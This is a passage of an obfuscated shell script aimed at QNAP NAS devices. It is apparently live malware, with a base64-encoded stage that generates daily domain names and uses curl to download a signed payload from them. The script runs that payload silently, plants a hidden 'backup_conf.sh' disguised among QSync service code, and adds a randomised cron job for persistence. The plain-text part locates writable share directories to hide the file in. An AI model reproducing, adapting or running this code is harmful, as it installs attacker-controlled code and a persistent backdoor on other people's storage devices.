JwoKRE9NQUlOX0VYVF9BPSdjZiB0ayBtbCBnYSBncScKRE9NQUlOX0VYVF9CPSdjb20gYml6IG9yZyBkZSByb2NrcyBteCBjbiB0b3AgbmwgbWVuIHdzIHNlIGluZm8geHl6IG5ldCB0b2RheSBydSBmaSBuYW1lIHRvIGluIGNvbS51YSB2ZyB2biBjZCcKCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnIgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnLy5jb25maWciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCmNkICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mIC50bXAuKgoKZWNobyAiJHZlcmlmeWtleSIgPiAiLnJzYWtleSIKaT0wIG49MCBjPTAgZXJyb3Jjb3VudD0wCm91dGZpbGU9JChta3RlbXAgIi4vLnRtcC5YWFhYWFgiKSB8fCBvdXRmaWxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0nLi8udG1wLm91dCcKCmZvciBkb21haW5leHRzIGluICIkRE9NQUlOX0VYVF9BIiAiJERPTUFJTl9FWFRfQiI7IGRvCiAgICAgICAgZm9yIGV4dCBpbiAkZG9tYWluZXh0czsgZG8KICAgICAgICAgICAgICAgIGhvc3RuYW1lPSQoZWNobyAiJCgoICQoZGF0ZSArJXMpIC8gMTI5NjAwMCApKUliakdPRWdudUQke2V4dH0iIHwgb3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgfCBvcGVuc3NsIGJhc2U2NCB8IHNlZCAneS9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWi0rXC8vYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMvO3MvPS8vZycpCiAgICAgICAgICAgICAgICBob3N0bmFtZT0ke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19CiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldfSIKICAgICAgICAgICAgICAgIGhvc3RuYW1lcz0iJGhvc3RuYW1lcyAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV19ICRob3N0bmFtZSIKICAgICAgICAgICAgICAgIGZvciBob3N0IGluICRob3N0bmFtZXM7IGRvCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLWYgIiRvdXRmaWxlIiAmJiBybSAtZiAiJG91dGZpbGUiCiAgICAgICAgICAgICAgICAgICAgICAgIHJlY2VudHVwZGF0ZT0nJwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIkb3V0ZmlsZSIgImh0dHBzOi8vJHtob3N0fS4ke2V4dH0vcW5hcF9maXJtd2FyZS54bWw/dD0kKGRhdGUgKyVzKSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAtcyAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIGZzaXplPSQoKCAkKHdjIC1jIDwgIiRvdXRmaWxlIikgKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZzaXplIiAtZ3QgNDA5NiAmJiBybSAtZiAiJG91dGZpbGUiICYmIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHJzYW1zZz0kKG9wZW5zc2wgYmFzZTY0IC1pbiAiJG91dGZpbGUiIC1kIHwgb3BlbnNzbCByc2F1dGwgLXB1YmluIC1pbmtleSAiLnJzYWtleSIgLXZlcmlmeSkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYW1zZyIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgcGF0aD0iJHtyc2Ftc2clfCp9IjsgcnNhZG9tYWluPSIke3BhdGglfCp9IjsgcGF0aD0iJHtwYXRoIyp8fSIKICAgICAgICAgICAgICAgICAgICAgICAgaGFzaD0iJHtyc2Ftc2cjIyp8fSI7IHRzPSIke2hhc2gjKl99IjsgaGFzaD0iJHtoYXNoJV8qfSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYWRvbWFpbiIgPSAiJHtob3N0fS4ke2V4dH0iIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVub3c9JChkYXRlICslcykKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHRzIiAtZ3QgMCAmJiB7IHRlc3QgIiR0cyIgLWd0ICIkdGltZW5vdyIgfHwgdGVzdCAkKCggJHRpbWVub3cgLSAkdHMgKSkgLWx0IDE3MjgwMDsgfSAmJiByZWNlbnR1cGRhdGU9MQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9LyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVoYXNoPSQob3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgIiRvdXRmaWxlIiB8IG9wZW5zc2wgYmFzZTY0KSB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkZmlsZWhhc2giID0gIiRoYXNoIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIke291dGZpbGV9X3MiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3MvJHtwYXRofSIKICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5ZmlsZSAiJG91dGZpbGUiICIke291dGZpbGV9X3MiICYmIGRlY3J5cHRmaWxlICIkb3V0ZmlsZSIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgbXYgIiR7b3V0ZmlsZX1fcyIgIiR7dHN9X3YiCiAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kIDc1NSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgICggKCBleGVjID4vZGV2L251bGwgMj4vZGV2L251bGwgPC9kZXYvbnVsbDsgIiRvdXRmaWxlIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAmICkgJiApCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyZWNlbnR1cGRhdGUiIC1lcSAxICYmIGV4aXQgMAogICAgICAgICAgICAgICAgZG9uZQogICAgICAgIGRvbmUKZG9uZQoKCmlmIFsgIiRmcm9tcmNTIiA9ICdUUlVFJyBdOyB0aGVuCiMgaWYgUXN5bmMgaXMgZGlzYWJsZSBiZWZvcmUgNC4zLjAsIHdlIHdpbGwgdG91Y2ggL21udC9IREFfUk9PVC91ZHBhdGVfcGtnLy5Rc3luY1NlcnZlcl9kaXNhYmxlZApzZXRfZGVmYXVsdF9kaXNhYmxlX3N0YXR1cygpCnsKCVFQS0dfRU5BQkxFPWAkQ01EX0dFVENGRyAke1FTWU5DX05BTUV9IEVuYWJsZSAtZCAiTlVMTCIgLWYgJHtRUEtHX0NPTkZ9YAoJT0xEX0VOQUJMRT1gJENNRF9HRVRDRkcgUXN5bmMgRW5hYmxlIC11IC1kIE5VTExgCglpZiBbIC1mICIke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X3JlbW92ZWQiIF07IHRoZW4KCQlyZXR1cm4KCWZpCgoJaWYgWyAiJFFQS0dfRU5BQkxFIiA9ICJOVUxMIiBdOyB0aGVuCgkJaWYgWyAiJE9MRF9FTkFCTEUiID0gIkZBTFNFIiBdOyB0aGVuCgkJCWRiZyAidG91Y2ggJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQkJL2Jpbi90b3VjaCAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQlmaQoJZmkKfQoKaWYgWyAieCRIQlNfRU5BQkxFIiA9IHhudWxsIF0gfHwgWyAieCRIQlNfRU5BQkxFIiA9IHhGQUxTRSBdOyB0aGVuCglleHBvcnQgUU5BUF9RUEtHPXJ0cnIKZWxzZQoJZXhwb3J0IFFOQVBfUVBLRz1IeWJyaWRCYWNrdXAKCS91c3IvbG9jYWwvc2Jpbi9xYm9vc3RfdXRpbCAtUyAtbiBydHJyIC1FIDAgMT4vZGV2L251bGwgMj4mMQpmaQpzdGFydCgpCnsKCWlmIFsgLWYgL3Vzci9iaW4vcXN5bmNtYW4gXTsgdGhlbgoJCVsgISAtZiAvZXRjL2NvbmZpZy9oZGNvcHl1c2IuY29uZiBdIHx8IC9iaW4vcm0gLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYKCQkvYmluL3NlZCAtaSAnL2hkdXNiX2NvcHkvZCcgL2V0Yy9jb25maWcvY3JvbnRhYgoJCS91c3IvYmluL2Nyb250YWIgL2V0Yy9jb25maWcvY3JvbnRhYgoJCWVjaG8gLW4gIlN0YXJ0aW5nIFFTeW5jIG1hbml0b3I6ICIKCQlbIC1kIC9ldGMvY29uZmlnL3FzeW5jIF0gfHwgL3Vzci9iaW4vaW5zdGFsbCAtZCAvZXRjL2NvbmZpZy9xc3luYwoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luYy5jb25mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIF0gfHwgL2Jpbi9jcCAtcCAvZXRjL2RlZmF1bHRfY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY2htb2QgNjQwIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jZC5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mCgkJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdGFydCAiL3Vzci9iaW4vcXN5bmNtYW4gMT4vZGV2L251bGwgMj4mMSIKCQllY2hvICJPSyIKCWZpCn0KCnN0b3AoKQp7CgllY2hvICJTaHV0dGluZyBkb3duIFFTeW5jIG1vbml0b3I6IE9LIgogICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAga2lsbCAkcGlkbnVtIDI+L2Rldi9udWxsCiAgICAgICAgaT0wCiAgICAgICAgd2hpbGUgWyAke2l9IC1sdCA1IF0KICAgICAgICBkbwogICAgICAgICAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICAgICAgICAgIGlmIFsgLXogIiRwaWRudW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBzbGVlcCAxCiAgICAgICAgICAgICAgICBpPWAvdXNyL2Jpbi9leHByICR7aX0gKyAxYAogICAgICAgIGRvbmUKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIFsgLXogIiRwaWRudW0iIF0gfHwga2lsbCAtOSAkcGlkbnVtIDI+L2Rldi9udWxsCgkvc2Jpbi9kYWVtb25fbWdyIHFzeW5jbWFuIHN0b3AgIi91c3IvYmluL3FzeW5jbWFuIgoJL3Vzci9iaW4va2lsbGFsbCAtcSBxc3luY21hbgp9CgpzdGFydF9xc3luY2QoKQp7CgkjX3FzeW5jZF9lbj1gL3NiaW4vZ2V0Y2ZnICIiIEVuYWJsZWQgLWQgMCAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJI1sgIngkX3FzeW5jZF9lbiIgPSB4MSBdIHx8IHJldHVybiAtMQoJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCVsgLXogJF9xc3luY2RfcnVuX3BpZCBdIHx8IHJldHVybiAtMTE0CglfcmVjeWNsZV9lbj1gL3NiaW4vZ2V0Y2ZnICdOZXR3b3JrIFJlY3ljbGUgQmluJyBFbmFibGUgLWQgRkFMU0VgCglfd2l0aF9zeXNsb2c9JDEKCWlmIFsgIngkX3JlY3ljbGVfZW4iID0geFRSVUUgIF07IHRoZW4KCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCUxEX1BSRUxPQUQ9L3Vzci9sb2NhbC9saWIvbGlidHJhc2guc28gL3Vzci9iaW4vcXN5bmNkIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQlmaQoJZWxzZQoJCWlmIFsgIngkX3dpdGhfc3lzbG9nIiA9IHgxICBdOyB0aGVuCgkJCS91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCS91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWZpCglfaXJldD0kPwoJaWYgWyAieCRfaXJldCIgPSB4MCBdOyB0aGVuCgkJaT0wCgkJd2hpbGUgWyAke2l9IC1sdCAxMDAwMCBdCgkJZG8KCQkJZWNobyAiJHtpfSBtaWxsaXNlY29uZC4uLiIKCQkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJaWYgWyAieCRfcXN5bmNkX3BpZCIgIT0gIngtMSIgXSAmJiBbICEgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQlicmVhawoJCQlmaQoJCQl1c2xlZXAgNTAwMDAKCQkJaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgNTBgCgkJZG9uZQoJZmkKCXJldHVybiAtJF9pcmV0Cn0KCnN0b3BfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDAgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgIiIgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCglbICRfcXN5bmNkX3BpZCAtbHQgMCBdICYmIHJldHVybiAtMwoJIyBTZW5kIFNJR1VTUjEgdG8gaW5mb3JtIHRoZSBkYWVtb24gdG8gb3V0cHV0ICJbUlRSUiBTZXJ2ZXJdIFN0b3BwZWQiIGV2ZW50IGxvZwoJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJdXNsZWVwIDIwMDAwMAoJIyBTZW5kIFNJR0lOVCB0byBzdG9wIHRoZSBRU3luY2QgcHJvY2VzcwoJL2Jpbi9raWxsIC1TSUdJTlQgJF9xc3luY2RfcGlkCglfa2lsbF9yZXQ9JD8KCWlmIFsgIngkX2tpbGxfcmV0IiAhPSB4MCBdOyB0aGVuCgkJcmV0dXJuIC0zCglmaQoJZWNobyAibmVlZCB3YWl0ICQxIG1pbGxpc2Vjb25kIgoJaT0wCgl3aGlsZSB0cnVlCglkbwoJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQlfcXN5bmNkX3J1bl9waWQ9YC9iaW4vcGlkb2YgcXN5bmNkYAoJCWlmIFsgIngkX3FzeW5jZF9waWQiID0gIngtMSIgXSAmJiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQlicmVhawoJCWZpCgkJaWYgWyAke2l9IC1nZSAkMSBdOyB0aGVuCgkJCSMgaWYgdGltZS1vdXQsIHdlIHNlbmQgdHdvIGFkZGl0aW9uYWwgU0lHSU5UIHRvIGZvcmNlIHRoZSBkYWVtb24gdG8gc3RvcC4KCQkJaWYgWyAkX3FzeW5jZF9waWQgLWdlIDAgXTsgdGhlbgoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQkJdXNsZWVwIDIwMDAwMAoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQlmaQoJCQlqPTAKCQkJd2hpbGUgWyAke2p9IC1sdCA1MDAgXQoJCQlkbwoJCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJCWlmIFsgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQkJcmV0dXJuIDAKCQkJCWZpCgkJCQl1c2xlZXAgMjAwMDAKCQkJCWo9YC91c3IvYmluL2V4cHIgJHtqfSArIDIwYAoJCQlkb25lCgkJCXJldHVybiAtNjIKCQlmaQoJCXVzbGVlcCA1MDAwMAoJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJZG9uZQoJcmV0dXJuIDAKfQoKCmluc3RhbGwoKQp7Cglsb2NrX2ZpbGU9Ii92YXIvbG9jay9xYm94X2luc3RhbGxfYmluLmxjayIKCglpZiBbICEgLWYgIiR7SU5TVEFMTF9CVUlMRF9JTn0iIF07IHRoZW4KCQlkYmcgImJ1aWxkLWluICR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGVkIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAtZiAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluIF07IHRoZW4KCQlkYmcgIiR7UVNZTkNfTkFNRX0uYmlufSBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAhIC14ICIke1FQS0dfQ0xJfSIgXTsgdGhlbgoJCWRiZyAiJHtRUEtHX0NMSX0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIG1ha2Ugc3VyZSB2b2x1bWUgaXMgZXhpc3QKCWlmIFsgISAtZCAvc2hhcmUvYC9zYmluL2dldGNmZyBTSEFSRV9ERUYgZGVmUHVibGljIC1kIFB1YmxpYyAtZiAvZXRjL2NvbmZpZy9kZWZfc2hhcmUuaW5mb2AgXTsgdGhlbgoJCWRiZyAiL3NoYXJlL1B1YmxpYyBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJIyMgaXMgcmVtb3ZlZCAKCWlmIFsgLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIF07IHRoZW4KCQkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgcmVtb3ZlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbIC1mICIkbG9ja19maWxlIiBdOyB0aGVuIAoJCWlmIFsgJCgoICQoZGF0ZSArJXMpIC0gJChkYXRlICslcyAtciAkbG9ja19maWxlKSApKSAtbGUgMTgwIF07IHRoZW4KCQkJZWNobyAiJHtRU1lOQ19OQU1FfSBpcyBpbnN0YWxsaW5nIgoJCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJcmV0dXJuIDEKCQlmaQoJZmkKCgkvYmluL3RvdWNoICIkbG9ja19maWxlIgkKCS9iaW4vcm0gLWYgJHtJTlNUQUxMX0JVSUxEX0lOfQoJZGJnICJpbnN0YWxsIGJ1aWxkLWluICR7UVNZTkNfTkFNRX0gc3RhcnQiCgoJc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMKCgkjIyBpbnN0YWxsIGJ1aWxkIGluIFFzeW5jCgkke1FQS0dfQ0xJfSAtSyAtbSAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCXNsZWVwIDIwCgoJd2FpdF9pbnN0YWxsPTYwCgkjIyBhdm9pZCBpbml0aWFsIHRha2UgbG9uZyB0aW1lIG9yIGZhaWwKICAgICAgICB3aGlsZSBbICIkd2FpdF9pbnN0YWxsIiAtZ3QgMCBdOyBkbwoJCXN0Y29kZT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfS5iaW4gc3Rjb2RlIC1mIC9ldGMvY29uZmlnL3Fwa2dfam9iLmNvbmZgCiAgICAgICAgICAgICAgICBpZiBbICIkc3Rjb2RlIiA9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgbGV0ICJ3YWl0X2luc3RhbGwtLSIKICAgICAgICBkb25lCgoJJHtRUEtHX0NMSX0gLUMgJHtRU1lOQ19OQU1FfS5iaW4gPiAvZGV2L251bGwgMj4mMQoJL2Jpbi9ybSAtZiAke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X2Rpc2FibGVkCgkvYmluL3JtIC1mICIkbG9ja19maWxlIgkKCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN1Y2Nlc3MiCn0KCmlmIFsgIiQxIiA9PSAic3RvcCIgXTsgdGhlbgoJZXhpdCAwCmZpCmZpClhFT0YKY2htb2QgNzU1ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giCnRvdWNoIC1jciAvYmluL2J1c3lib3ggIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIKKCAoIGV4ZWMgPi9kZXYvbnVsbCAyPiYxIDwvZGV2L251bGw7ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmICkgJiApCmZpCgp0ZXN0IC14ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIHx8IGNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIgoKY3JvbnRhYmFyZ3M9JChwcyB8IGdyZXAgJ2NyW29dbmQgJyB8IHNlZCAtbiAncy8uKmNyb25kW14wLTlBLVphLXotXSpcKC5cK1wpL1wxL3AnKQp0cnljb3VudD0xMDsgdHJ5Y291bnQ9JCgoICR0cnljb3VudCAtIDEwICkpCnNldCB4ICRjcm9udGFiYXJnczsgc2hpZnQKd2hpbGUgWyAkIyAtZ3QgMCBdICYmIFsgJHRyeWNvdW50IC1sdCAxMCBdOyBkbwp0cnljb3VudD0kKCggJHRyeWNvdW50ICsgMSApKQpnZXRvcHRzICc6YzonIE9QVCAyPi9kZXYvbnVsbAp0ZXN0ICIkT1BUIiA9ICdjJyAmJiBjcm9udGFiZmlsZT0iJHtPUFRBUkd9L2FkbWluIiAmJiBicmVhawp0ZXN0ICIkT1BUSU5EIiAtZ3QgMCAmJiBzaGlmdCAiJE9QVElORCIgJiYgT1BUSU5EPTEgfHwgYnJlYWsKZG9uZQp0ZXN0ICIkY3JvbnRhYmZpbGUiICYmIHRlc3QgLWYgIiR7Y3JvbnRhYmZpbGV9IiB8fCBjcm9udGFiZmlsZT0nL3RtcC9jcm9uL2Nyb250YWJzL2FkbWluJwoKZm9yIGNyb250YWIgaW4gIiRjcm9udGFiZmlsZSIgIiR7Y29uZmRpcn0vY3JvbnRhYiI7IGRvCmlmICRmZ3JlcCAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiAiJGNyb250YWIiOyB0aGVuCjoKZWxzZQpjcm9ubWlucz0kKHByaW50ZiAnJWknICIkKCggJFJBTkRPTSAlIDYwICkpIikKY3JvbmhvdXI9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSAyNCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaSwnICIkKCggKCAkY3JvbmhvdXIgKyA4ICkgJSAyNCApKSIgIiQoKCAoICRjcm9uaG91ciArIDE2ICkgJSAyNCApKSIpIiRjcm9uaG91ciIKZWNobyAiJGNyb25taW5zICRjcm9uaG91ciInICogKiAqICciJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoID4vZGV2L251bGwgMj4vZGV2L251bGwiID4+ICIkY3JvbnRhYiIKY3JvbnRhYiAiJGNyb250YWIiCnNsZWVwIDIKZmkKZG9uZQopICYgKSAmCg==
EOF
)&)
( exec >/dev/null 2>&1; (
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; }
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
test -d "$confdir" || confdir=/etc/config
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\
\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\
//I;s/\(^\|\
\)\[[^\
]\+\]\
.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
bdir=
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
test "$fgrep" || fgrep=grep
if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then
